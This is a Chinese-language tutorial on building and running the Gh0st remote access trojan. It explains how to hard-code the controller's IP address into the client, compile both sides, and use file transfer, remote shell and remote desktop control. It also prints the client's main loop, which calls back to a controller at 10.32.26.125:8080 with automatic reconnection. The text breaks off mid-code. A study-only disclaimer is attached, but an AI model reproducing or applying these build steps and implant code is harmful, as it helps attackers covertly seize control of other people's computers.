Gh0st 的编译与使用方法
相信很多人应该或多或少地听说过 gh0st 的大名,正如上面所说,它是一款远程控制软件,其原始版本的代码和作者已经无从考证,笔者手里这一份也来源于网络,我修正一些 bug 并作了一些优化,仅供个人学习研究,不可用于商业用途和任何非法用途,否则后果自负。
代码下载方式,微信扫描以下二维码关注【高性能服务器开发】公众号,关注后回复【gh0st】即可得到下载链接:
编译方法
下载好代码以后,使用 Visual Studio 2013 打开源码目录下的 gh0st.sln 文件,打开后,整个解决方案有两个工程分别是 gh0st_server 和 gh0st_client。如下图所示:
其中,gh0st_server 是远程控制的控制端,gh0st_client 是远程控制的被控制端。gh0st_client 通过网络连接 gh0st_server 并将自己所在的机器的一些基本信息(如计算机名、操作系统版本号、CPU 型号、有无摄像头等)反馈给控制端,连接成功以后控制端就可以通过网络将相应的控制命令发给被控制端了,被控制端将命令执行结果发给控制端,以此来达到远程控制目标主机的目的。原理示意如下:
为了让 gh0st_client 能够顺利连上 gh0st_server,需要根据你实际情形,将 gh0st_client连接的ip地址和端口号改成 gh0st_server 的端口号,修改方法是:打开源码目录下的 Gh0st_Server_Svchost/svchost.cpp 153 行有服务器 ip 地址设置代码:
TCHAR *lpszHost = TEXT("127.0.0.1");
复制代码
将代码中的 127.0.0.1 修改成你的控制端 gh0st_server 所在地址即可,如果你是本机测试,可以保持不变。笔者测试本软件控制端是我的机器,被控制端是笔者虚拟机里面另外一台 Windows 7 系统,笔者将地址修改成 10.32.26.125,这是我控制端的地址。
修改完 ip 地址之后,就可以编译这两个工程得到控制端和被控制端可执行程序了。点击Visual Studio 【BUILD】菜单下【Rebuild Solution】菜单项,即可进行编译,等编译完成之后,在目录 Output\Debug\bin 下会生成 gh0st_server.exe 和 gh0st_client.exe 两个可执行文件即为我们上文中介绍的控制端和被控制端。
使用方法
我们先在本机上启动 gh0st_server.exe,然后在虚拟机中启动被控制端 gh0st_client.exe,很快 gh0st_client 就会连上 gh0st_server。这二者的启动顺序无所谓谁先谁后,因为 gh0st_client 有自动重连机制,被控制端连上控制端后,控制端(gh0st_server)的效果图如下所示:
当然,控制端可以同时控制多个被控制端,我这里在本机也开了一个被控制端,所以界面上会显示两个连上来的主机信息。
我们选择其中一个主机,点击右键菜单中的某一项就可以进行具体的控制操作了:
下面截取一些控制画面:
文件管理
文件管理功能可以自由从控制端被控制来回传送和运行文件。
远程终端
远程桌面
当然,远程桌面功能不仅可以查看远程电脑当前正在操作的界面,同时还可以控制它的操作,在远程桌面窗口标题栏右键弹出菜单中选择【控制屏幕】即可,当然为了控制的流畅性,你可以自由选择被控制端传过来的图片质量,最高是 32位真彩色。
为了节省篇幅,其他功能就不一一截图了,有兴趣的读者可以自行探索。
gh0st_client 源码分析
程序主脉络
我们先来看下被控制端的代码基本逻辑(原始代码位于 svchost.cpp 中),简化后的脉络代码如下:
int main(int argc, char **argv)
{
// lpServiceName,在ServiceMain返回后就没有了
TCHAR strServiceName[200];
lstrcpy(strServiceName, TEXT("clientService"));
//一个随机的名字
TCHAR strKillEvent[60];
HANDLE hInstallMutex = NULL;
if (!CKeyboardManager::MyFuncInitialization())
return -1;
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
//TCHAR *lpszHost = TEXT("127.0.0.1");
TCHAR *lpszHost = TEXT("10.32.26.125");
DWORD dwPort = 8080;
TCHAR *lpszProxyHost = NULL;//这里就当做是上线密码了
HANDLE hEvent = NULL;
CClientSocket socketClient;
socketClient.bSendLogin = true;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
while (1)
{
// 如果不是心跳超时,不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
// 每次睡眠60毫秒,一共睡眠2000次,共计两分钟
Sleep(60);
}
}// end if
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR;
continue;
}
CKeyboardManager::dwTickCount = GetTickCount();
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo_false(&socketClient);
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
//
// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
if (!manager.IsActived())
continue;
DWORD dwIOCPEvent;
CKeyboardManager::dwTickCount = GetTickCount();
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hExitEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}// end while-loop
SetErr